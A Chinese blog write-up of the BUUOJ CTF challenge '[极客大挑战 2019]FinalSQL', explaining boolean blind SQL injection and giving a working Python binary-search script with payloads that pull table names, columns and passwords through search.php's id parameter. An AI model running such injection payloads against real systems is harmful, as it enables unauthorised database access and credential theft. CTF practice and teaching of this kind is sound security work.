[极客大挑战 2019]FinalSQL 1

[极客大挑战 2019]FinalSQL 1

这篇主要是考察布尔盲注,而且他很贼,弄了两个输入框,但过滤的东西很多;真正的注入点在search.php传入的参数。说来惭愧,之前就做过布尔盲注的题目,结果又遇到了,一点都记不得了,还是得写个博客记一下。

布尔盲注

页面需要支持对布尔信息的回显,如True返回”Hello“,False返回“Wrong”。

原理

布尔盲注的过程中有点像猜单词的游戏,A心里想一个单词,B不断询问,A只能说‘是’或者‘不是’。
如A想一个单词apple。

B的问题 A的回答
第一个字母小于H吗?
第一个字母小于D吗?
第一个字母小于B吗?

至此,B已经知道了第一个字母是A。在这个过程中,B还可以使用二分法,加快得到答案。

代码层面

使用函数

函数名 函数作用
ascii(char a) 返回'a'的ascii码
substr(char *str, int start_pos, int num) 截取str的start_pos位置开始(包括str[start_pos])num个字符,在布尔注入中一般在循环中这样substr(str, i, 1),用于获取第i位置的字符
left(char * str, int num) 返回字符串str从左起num个字符, 布尔注入中,便需要拼接上一步的结果,不似substr方便
length(char *str) 获取字符串长度,一般在具体开始查询前,先查下字符串有几位

使用语句

一般格式如下, 意思是检查目标的第i位是不是n。

1 ^ (ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n) 
语句 功能拆解
select columnA from tableA 目标数据
substr((select columnA from tableA), i【循环中的第i位】, 1) 目标数据的第i位
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) 目标数据的第i位的ascii码
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n 目标数据的第i位的ascii码是不是等于n
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) > n 目标数据的第i位的ascii码是不是大于n(二分法)

这里的1^也可以看情况换成正常的and或者or

本题代码

直接搬得这个哥们的二分代码

import requests
# 使用二分法
url = ''
flag = ''
MaxLen = 250
for i in range(1,MaxLen):# range(1, 11) 从 1 开始到 11,[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]  range(0, 30, 5) 步长为 5 [0, 5, 10, 15, 20, 25]
    low = 32
    high = 128
    mid = (low+high)//2
    while(low<high):
        payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" %(i,mid)
        # payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" %(i,mid)
        # payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
        res = requests.get(url=payload)
        if 'ERROR' in res.text:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    if(mid ==32 or mid ==127):
        break
    flag = flag+chr(mid)
    print(flag)

看着答案一点点出来还是蛮爽的

posted @ 2021-12-25 16:55  AikNr  阅读(731)  评论(0编辑  收藏  举报